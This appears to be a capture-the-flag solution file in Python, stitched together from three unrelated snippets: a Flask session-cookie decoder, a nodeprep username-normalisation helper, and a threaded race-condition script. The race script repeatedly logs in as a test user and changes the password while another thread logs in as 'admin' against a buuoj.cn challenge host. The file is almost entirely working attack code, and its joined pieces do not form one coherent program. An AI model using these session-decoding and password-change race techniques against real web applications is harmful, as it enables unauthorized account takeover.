#!/usr/bin/env python3

import sys

import zlib

from base64 import b64decode

from flask.sessions import session_json_serializer

from itsdangerous import base64_decode

def decryption(payload):

    payload, sig = payload.rsplit(b'.', 1)

    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False

    if payload.startswith(b'.'):

        payload = payload[1:]

        decompress = True

    try:

        payload = base64_decode(payload)

    except Exception as e:

        raise Exception('Could not base64 decode the payload because of '

                         'an exception')

    if decompress:

        try:

            payload = zlib.decompress(payload)

        except Exception as e:

            raise Exception('Could not zlib decompress the payload before '

                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':

    print(decryption(sys.argv[1].encode()))

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

def strlower(username):

    username = nodeprep.prepare(username)

    return username

import requests

import threading

import time

def login(s, username, password):

    data = {

        'username': username,

        'password': password,

        'submit': ''

    }

    return s.post("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/login", data=data)

def logout(s):

    return s.get("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/logout")

def change(s, newpassword):

    data = {

        'newpassword':newpassword

    }

    return s.post("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/change", data=data)

def func1(s):

    login(s, 'test', 'test')

    change(s, 'test')

def func2(s):

    logout(s)

    res = login(s, 'admin', 'test')

    if 'flag' in res.text:

        print('finish')

    if 'Too Many' in res.text:

        print('wrong')

def main():

    for i in range(1000):

        print(i)

        time.sleep(0.5)

        s = requests.Session()

        t1 = threading.Thread(target=func1, args=(s,))

        t2 = threading.Thread(target=func2, args=(s,))

        t1.start()

        t2.start()

if __name__ == "__main__":

    main()